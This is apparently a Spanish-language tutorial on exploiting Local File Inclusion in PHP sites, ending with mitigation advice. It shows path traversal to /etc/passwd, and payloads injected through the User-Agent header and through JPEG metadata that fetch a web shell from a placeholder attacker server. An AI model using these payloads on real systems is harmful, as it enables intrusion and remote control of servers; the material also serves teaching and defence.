Actualmente hay muchas maneras de atacar páginas web, en este artículo de hoy vamos a ver cómo atacar la vulnerabilidad LFI ( Local File Inclusion).
Esta técnica consiste en incluir ficheros locales, es decir, archivos que se encuentran en el mismo servidor de la web con este tipo de fallo, es diferente a Remote File Inclusión o inclusión de archivos remotos (RFI) que incluye archivos alojados en otros servidores. Esto se produce como consecuencia de un fallo en la programación de la página, filtrando inadecuadamente lo que se incluye al usar funciones en PHP para incluir archivos.
Dicho esto nos preguntamos ¿qué tiene de peligroso esto?
En un escenario como éste, un atacante podría modificar los parámetros de lo que se incluye, por ejemplo, podría incluir otros archivos que están en el servidor que tienen información muy importante como por ejemplo el archivo de contraseñas conocido como /etc/passwd en sistemas Linux
Algunas maneras de detectar dicha vulnerabilidad:
1. Agregando un valor ilógico a la variable en la url:
Este sería un ejemplo, si al ingresar esta url nos devuelve un error como puede ser Warning main o warning include sería un posible indicio de que la página es vulnerable a LFI.
2. Ver código PHP:
Si muestra la siguiente manera quiere decir que es vulnerable debido a la variable include.
<?php
include $_GET[‘pagina’];
?>
-
Una vez tengamos un objetivo que creamos que es vulnerable procedamos a realizar el ataque,veremos distintas maneras:
1. Mediante funcion include
El objetivo sera ir moviéndonos por los distintos directorios de la página web con la siguiente expresión ../ y añadimos al final etc/passwd para intentar acceder a este archivo.
Como observamos nos devuelve el archivo etc/passwd.
2. Utilizando el User-Agent:
Para realizar este tipo de inclusión debemos irnos al burp suite y cuando tengamos la petición parada cambiamos el parametro User-Agent por la siguiente ruta.
<?php system(‘GET http://servidorAtacante/webshell.txt > weshell.php’); ?>
3. Mediante metadatos de la cabecera
En este paso el objetivo será subir una imagen al servidor pero previamente habiendo hecho una modificación para poder después realizar el include.Esta modificación se hace de la siguiente manera.
La imagen a de ser .jpg y con el comando jhead modificamos la cabecera de la imagen un ejemplo sería el siguiente:
“jhead -cl “<?php system(‘GET http://servidorAtacante/webshell.txt > weshell.php’); ?>” imagen.jpg”
Una vez modificada la cabecera de la imagen solo queda realizar el include.
4. Ataque LFI con diccionario
En este caso, vamos a realizar un ataque LFI mediante un diccionario, para ello debemos crear un diccionario con valores que suelen ser supceptibles de ataques LFI.Para realizar el ataque utilizaremos cualquier herramienta para realizar fuzz ya puede ser dirb,wfuzz o gobuster entre muchos otros. Lo que sucede en este caso es que fuzzeamos la página y nuestro objetivo es encontrar respuestas 200 que en este caso han sido mediante LFI.
Arreglar vulnerabilidad LFI
A pesar de que esta es una vulnerabilidad bastante peligrosa no quiere decir que no se pueda mitigar, algunas maneras de arreglarlo son las siguientes:
1. Cambiando el codigo PHP
<?php
include(‘pagina.php’);
?>
Teniendo el código de esta manera nos aseguramos cerrar una posible puerta de entrada a un ataque LFI
2. Deshabilitar allow_url_fopen y allow_url_include:
Dentro del archivo .ini se recomienda compilar PHP localmente sin incluir esta funcionalidad. Muy pocas aplicaciones necesitan esta funcionalidad y para estos casos estas opciones deberían habilitarse desde la base de la aplicación.
3. Validación estricta de la entrada del usuario
- En conclusión la vulnerabilidad LFI es una vulnerabilidad que puede llegar a resultar muy fatídica pero que es bastante simple de mitigar.